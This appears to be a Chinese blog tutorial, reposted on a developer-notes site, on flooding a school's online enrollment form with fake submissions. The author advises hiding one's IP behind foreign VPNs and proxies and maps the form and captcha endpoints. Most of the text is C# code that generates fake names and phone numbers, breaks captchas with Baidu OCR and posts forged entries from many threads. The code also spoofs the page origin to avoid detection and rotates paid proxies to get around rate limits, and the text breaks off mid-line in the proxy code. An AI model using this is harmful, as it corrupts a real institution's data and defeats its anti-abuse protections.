热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

班级|正确率_Web安全:数据注入某校“在线报名“大量提交虚假消息验证码识别破解

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Web安全:数据注入某校“在线报名“大量提交虚假消息验证码识别破解相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解相关的知识,希望对你有一定的参考价值。


效果图:




使用环境

系统: Windows10 64位 家庭版
编程语言: C# .Net Framework 4.72
编译器: Visual Studio 2019
打码平台: 百度AI
浏览器: 360浏览器13.1


隐藏身份

记得隐藏好自己的IP地址信息,建议挂一个境外的VPN,或高匿的代理,如果是 小网站 随意 ,尽量不暴露自己的IP地址

一般网站有备案的还是挂一个较好
(申请备案比较麻烦,一般有备案的基本是一个组织)

学校这种肯定是有经过备案的

备了案的网站 最下面一般都会有对应的ICP号

额外知识:
使用中国境内的服务器是必须备案的,不备案域名解析不了,境外的服务器域名不需要备案



难点:
验证码的识别 (好在有百度的AI识别)
正确率在百分之60左右,虽然有点低,但是配合多线程弥补了

POST数据的拼接

需要把中文的信息Url编码…这里浪费了比较多时间,好在经过几个小时,终于完成了


网站分析


这里就是他的PC端 在线报名 页面,是一个表单

先手动提交一组信息抓包

折磨了半个小时 并没有发现有用信息 发现这网站还有一个移动端的页面

把浏览器UA代理,切换至 移动端

浏览器随着重定向到手机端的URL


接口抓取

点击 提交按钮 时 抓到了提交的包

第一个包:提交的表单接口

第二个包:验证码的接口


表单接口分析



请求 URL: http://xxxxxxxxxx/addSubmit?_v=1654613271594
请求方法: POST
状态代码: 200 OK
远程地址: xxxxxxxxx
引用站点策略: unsafe-url


根据经验判断 v=1654613271594 这参数是一个时间戳

转换后 证实 v是一个时间戳参数 2022-06-07 22:47:51 正是提交表单的时间

时间戳概念:
1654613271594 (毫秒)是一串数字,每秒都在增加,用来表示某一个时间,定义为从格林威治(和北京时间一样)时间(1970年,1月,1日,00时,00分,00秒 )到现在的 总秒 或 豪秒 数 到现在已经万亿了 已超过int的数值范围 ,使用他得使用long类型变量,使用他不需要在意地区不同导致时间有偏差(如北京时间和美国时间 不同时间差)

POST参数:
接下来就是解析POST的请求参数了

源数据:

很明显是经过URL编码后的数据

URL编码:
这是浏览器用来打包数据的一种数据格式,在传输过程中需要把其中的中文字符或特殊不安全的(如:’ " 空格 等等 )字符经过编码后进行发送,其中&号为分隔符,url编码就是一个字符ascii码的十六进制然后前面加上%,以键值对的形式出现,只要你在浏览器上肯定是用的到,只所以用户看不到这些经过编码后的字符,是因为现在大多数浏览器都帮我们完成了解码

ASCII码表(部分):
例如将 ! 号进行URL编码,那么编码结果就是 %21 (对应16进制)

小例子:
在网站上,放一个带中文名的图片

通过浏览器访问 网站图片

看似中文的图片,其实是经过URL编码的 只不过是后面浏览器帮助我们解码了
打开 开发者工具

这才是请求的源URL ,把他解码正是这个图片的中文名称

看看浏览器解码后面数据


分析POST参数:



formId: 1 (这里是表单的ID 不变值不需要理会)


vCodeId: 3691 (对应验证码接口的ID)


submitContentList: (提交数据的表弟 是一个JSON格式)
[“id”:0,“type”:0,“val”:“蔡徐坤”,“id”:1,“type”:2,“val”:“女”,“id”:2,“type”:0,“val”:“20”,“id”:4,“type”:0,“val”:“广东省技工学校”,“id”:5,“type”:0,“val”:“85”,“id”:3,“type”:8,“val”:“13333333333”,“id”:6,“type”:8,“val”:“17733333333”]
tmpFileList: []


validateCode: qadq (验证码 对应3691 这个接口)


colId: 158


submitOrigin: “pageUrl”:“http:/xxxxxx.html”,“pageName”:“手机网站-在线报名”
(用户在哪个页面提交的URL 和 网页标题)


phoneValidateCodes: []


其中只有 submitContentList 和 validateCode 是变的,其他值为不变。

成功后的返回值



rt: 0, success: true, msg: “提交表单数据成功”, id: 420
id: 420 msg:
“提交表单数据成功”
rt: 0 success: true




id: 420 msg: 这是一个自增的ID,每次提交成功一次值就会+1,也就是这个表单当前已提交了420次了





验证码接口分析:



请求 URL:
http://xxxxx/validateCode.jsp?185.3168615516483&vCodeId=3691
请求方法: GET 状态代码: 200 OK
远程地址: xxxxxxx
引用站点策略: unsafe-url


vCodeId=3691:这就是验证码ID 上面说到过
是一个GET请求,浏览器直接请求即可

多次访问测试后发现是 URL 并不会随着验证码而重定向到其他的URL 这就很好办




小实验

按理说 只要两个接口 使用同一个 COOKIE就可以实现提交表单了,

原理图:

在浏览器打开 验证码接口 和 提交页面 必须在同一个浏览器上 这样才使用的同一个COOKIE)

然后输入验证码接口的 验证码 不输入提交页面生成的验证码



测试可行 成功了 ,如果换 其中 两个页面换成 两个不同的浏览器 打开就不行 ,因为两个请求是单独的




程序批量提交


为了数据真实一点,需要大量生成 虚假手机号 和 姓名 ,大量提交同一个一模一样的数据,在数据库里 就一行SQL语句就可以筛选出来,达不到效果

生成信息:

公共随机数:

static Random r = new Random();

姓名生成:
这里使用的是,百度把常用的 姓氏 储存到一个数组,然后名储存到一个文本(也来源百度),程序进入的时候读取数组 在 使用随机数 随机组名字

static string[] NmaeHead = "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;
static string[] NmaeTail = File.ReadAllLines(@"Name.txt");
static List<string> NameList&#61; new List<string>();
//姓字列表


性别生成&#xff1a;

static char[] Sex &#61;&#39;男&#39;,&#39;女&#39;;

使用时候直接 随机数 随机选择
虽然表单是 单选框 但是可以直接修改 表单内容 比如可以把 男 或 女 改成 雌 &#xff0c;雄&#xff0c; 公 &#xff0c;母 …

年龄生成&#xff1a;

string age &#61; r.Next(13, 23).ToString();//年龄

直接使用随机数 生成13 到 23 之间的数字

就读学校&#xff1a;
当然这个也可以生成 但为了真实 我并没有这样&#xff0c;而是百度了 部分真实的学校&#xff0c;也是直接写到记事本 然后读取他

static string[] SchoolList &#61; File.ReadAllLines(&#64;"SchoolList.txt");
//学校列表

班级生成&#xff1a;
同理 &#xff0c;为了真实

static string[] ClassList &#61; File.ReadAllLines(&#64;"ClassList.txt");
//班级

手机号生成&#xff1a;
手机号开头都是13xxxx&#xff0c;17xxx开头的&#xff0c;如果使用随机数就会出现20xxx&#xff0c;50xxx&#xff0c;这看着就不太真实&#xff0c;需要限制号段

static List<string> PhoneList &#61; new List<string>();//手机号
static string[] PhoneHead &#61; "131","178","158","177","185","132","176","159","133","188","171","135";

总结&#xff1a;

static char[] Sex &#61;&#39;男&#39;,&#39;女&#39;;
static string[] ClassList &#61; File.ReadAllLines(&#64;"ClassList.txt");
//班级
static List<string> PhoneList &#61; new List<string>();//手机号t
static List<string> NameList&#61; new List<string>();
//姓字列表
static string[] SchoolList &#61; File.ReadAllLines(&#64;"SchoolList.txt");
//学校列表
static string[] NmaeHead &#61; "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;
static string[] NmaeTail &#61; File.ReadAllLines(&#64;"Name.txt");
//名字
static string[] PhoneHead &#61; "131","178","158","177","185","132","176","159","133","188","171","135";
static Random r &#61; new Random();

使用循环生成数据

Console.WriteLine("开始生成姓名&#xff0c;手机号");
//20000为生成的数量
for (int i &#61; 0; i < 20000; i&#43;&#43;)

PhoneList.Add(PhoneHead[r.Next(0, PhoneHead.Length)] &#43; r.Next(10000000, 99999999));
NameList.Add(NmaeHead[r.Next(0, NmaeHead.Length)] &#43; NmaeTail[r.Next(0, NmaeTail.Length)] &#43; NmaeTail[r.Next(0, NmaeTail.Length)]);
Console.WriteLine(i&#43;" "&#43;PhoneList[i]&#43; NameList[i]);


数据都有了 &#xff0c;上面说到过来&#xff0c;中文需要URL编码&#xff0c;使用他们的时候需要把他们URL编码
这里定义了一个URL编码的方法&#xff0c;提交数据时需要调用他

URL编码&#xff1a;

static string UrlEncode(string str)

byte[] array &#61; Encoding.UTF8.GetBytes(str);
//转成字节数组
StringBuilder Text &#61; new StringBuilder(500);
//因为字符串的不可变性 使用StringBuilder 并且开了500个字符的空间
for (int i &#61; 0; i < array.Length; i&#43;&#43;)

Text.Append("%"&#43;array[i].ToString("X2"));
//转成的编码 添加到Text

//这里是url编码
return Text.ToString();
//返回编码好的字符串


提交方法&#xff1a;

随机从上面的列表抽取手机号 姓名 并编码

提取手机号 姓名

string name &#61; UrlEncode( NameList[r.Next(0, NameList.Count)]);//姓名
string sex &#61; Sex[r.Next(0, Sex.Length)].ToString();//性别
string school &#61; SchoolList[r.Next(0, SchoolList.Length)];//学校
string classname &#61; ClassList[r.Next(0, ClassList.Length)];//班级
string age &#61; r.Next(13, 23).ToString();//年龄
string localPhone &#61; PhoneList[r.Next(0, PhoneList.Count)];
string parentsPhone &#61; PhoneList[r.Next(0, PhoneList.Count)];

这里还需要生成一个 储存验证码的 文件名 因为不可能十几个线程都去读一个验证码

string codeName &#61; r.Next(0, 100000).ToString() &#43; ".jpg"; //验证码图片名字


请求验证码接口&#xff1a;

string userAgent &#61; "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
//浏览器代理 如果为空 服务器会拒接 502
COOKIEContainer COOKIE &#61; new COOKIEContainer();
//使用同一个COOKIE 相当于同一个浏览器
HttpWebRequest ImageCode &#61; (HttpWebRequest)WebRequest.Create("http:xxxxx/validateCode.jsp?890.6793103043062&vCodeId&#61;3691");
//验证码接口地址
ImageCode.COOKIEContainer &#61; COOKIE;
//使用 COOKIE 这个"浏览器"
ImageCode.KeepAlive &#61; true;
//状态保持
ImageCode.UserAgent &#61; userAgent;
//设置浏览器代理
ImageCode.AllowAutoRedirect &#61; false;
//禁止重定向URL
ImageCode.ContentType &#61; "application/x-www-form-urlencoded";
//类型
HttpWebResponse ImageRet &#61; (HttpWebResponse)ImageCode.GetResponse();
//接搜返回值
FileStream file &#61; new FileStream(codeName, FileMode.OpenOrCreate);
//定义文件流保存文件
ImageRet.GetResponseStream().CopyTo(file);
//保存文件
file.Close();
//关闭流

验证码打码&#xff1a;
这里使用的是 百度的AI 文字识别 &#xff0c;效果还可以&#xff0c;
原理就是通过请求验证码 把验证码下载下来 然后使用 AI 文字识别 验证码 在把识别的验证码 和表单一起 提交

var API_KEY &#61; "这里需要自己申请";
var SECRET_KEY &#61; "这里需要自己申请";
var client &#61; new Baidu.Aip.Ocr.Ocr(API_KEY, SECRET_KEY);
//文字识别
client.Timeout &#61; 60000; // 修改超时时间
var image &#61; File.ReadAllBytes(codeName);
//把图片转成字节数组
var result &#61; client.GeneralBasic(image);
//上传识别
string str &#61; result.ToString();
//识别成功后的字符串

API_KEY 这些需要自行到 百度AI开发 平台申请 注册即可

然后的是一个JSON格式字符串


"words_result": [

"words": "QN"

],
"words_result_num": 1,
"log_id": 1535879164735694844

其中 words 里的字符串 就是识别的内容

解析JSON:

JObject j &#61; JObject.Parse(str);
JArray r &#61; (JArray)j["words_result"];
//强制转成数组 因为要获取employees

str &#61; r[0]["words"].ToString();
if (str.Length < 4)

Console.WriteLine("识别失败");
continue;

验证码都是四位数 如果小于四位数 那就是识别失败了 直接返回

提交表单

拼接POST参数&#xff1a;

string post_str &#61; "formId&#61;1&vCodeId&#61;3691&submitContentList&#61;[%7B%22id%22:0,%22type%22:0,%22val%22:%22" &#43; name &#43; "%22%7D,%7B%22id%22:1,%22type%22:2,%22val%22:%22" &#43; sex &#43; "%22%7D,%7B%22id%22:2,%22type%22:0,%22val%22:%22" &#43; age &#43; "%22%7D,%7B%22id%22:4,%22type%22:0,%22val%22:%22" &#43; school &#43; "%22%7D,%7B%22id%22:5,%22type%22:0,%22val%22:%22" &#43; classname &#43; "%22%7D,%7B%22id%22:3,%22type%22:8,%22val%22:%22" &#43; localPhone &#43; "%22%7D,%7B%22id%22:6,%22type%22:8,%22val%22:%22" &#43; parentsPhone &#43; "%22%7D]&tmpFileList&#61;[]&validateCode&#61;" &#43; str &#43; "&colId&#61;158&submitOrigin&#61;%7B%22pageUrl%22:%22http%3A%2F%2Fwww.xxxx.com%2Fh-col-171.html%22,%22pageName%22:%22%E6%83%A0%E5%B7%9E%E5%B8%82%E4%BB%B2%E6%81%BA%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%20%7C%20%E5%B9%BF%E4%B8%9C%E7%9C%81%E9%87%8D%E7%82%B9%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%22%7D&phoneValidateCodes&#61;[]";

为了不让接口给发现 这里我把 页面地址 改成了 电脑端的首页

提交表单&#xff1a;

HttpWebRequest Request &#61; (HttpWebRequest)WebRequest.Create("http://m.xxxxx.com/api/guest/form/addSubmit?_v&#61;" &#43; DateTimeOffset.UtcNow.ToUnixTimeMilliseconds().ToString());
//请求表单接口 后面的参数为时间戳
Request.Method &#61; "POST";
//模式为 POST
Request.UserAgent &#61; userAgent;
//设置浏览器UA
Request.COOKIEContainer &#61; COOKIE;
//使用和验证码同一个COOKIE
Request.ContentType &#61; "application/x-www-form-urlencoded";
//类型
byte[] array &#61; Encoding.UTF8.GetBytes(post_str);
//编码号的Post数据 转成字节
Request.ContentLength &#61; array.Length;
Stream WriteRequest &#61; Request.GetRequestStream();
//创建请求流
WriteRequest.Write(array, 0, array.Length);
//把数据 写入到请求流
WriteRequest.Flush();
//写入
WriteRequest.Close();
//关闭流
HttpWebResponse DateRet &#61; (HttpWebResponse)Request.GetResponse();
//接返回的请求
StreamReader Read &#61; new StreamReader(DateRet.GetResponseStream(), Encoding.UTF8);
Console.WriteLine(Thread.CurrentThread.Name&#43;Read.ReadToEnd());
//读取返回内容
ImageRet.Dispose();
DateRet.Dispose();
Read.Dispose();
//释放流

这样就完成了 接下来就是多线程了

多线程

for (int i &#61; 0; i < 50; i&#43;&#43;)

Thread th &#61; new Thread(School);
th.IsBackground &#61; true;
th.Name &#61; i.ToString();
th.Start();
Console.WriteLine(i &#43; " 号线程创建成功");

创建50个线程 执行 方法 &#xff0c;也就是50个人同时一直提交表单



运行时发现&#xff0c;如果同一个IP&#xff0c;短时间请求太多次&#xff0c;服务器会拒接返回403&#xff0c;

经过测试后&#xff0c;线程数量超过9 服务器就会拒接&#xff0c;9个线程一分钟也可以提交100条数据了&#xff0c;
虽然效果也不错&#xff0c;为了让程序更加强大&#xff0c;这里我使用了代理&#xff0c;让多线程更好的使用&#xff0c;

代理&#xff1a;

目前网上也有大量的免费代理 但可用率都特别低 这里我使用付费的(几块钱就可以买上几w个)&#xff0c;

网络代理&#xff1a;
这里我封装成了方法

调用

GetAngent()

储存代理

static List<string> Agent &#61; new List<string>();
//代理列表

生成代理

static void GetAngent()

while(true)

HttpWebRequest Beg &#61; (HttpWebRequest)WebRequest.Create("http://http1.9vps.com/getip.asp?username&#61;xxxx&pwd&#61;xxxxx&geshi&#61;1&feng

推荐阅读
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
author-avatar
mobiledu2502868653
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有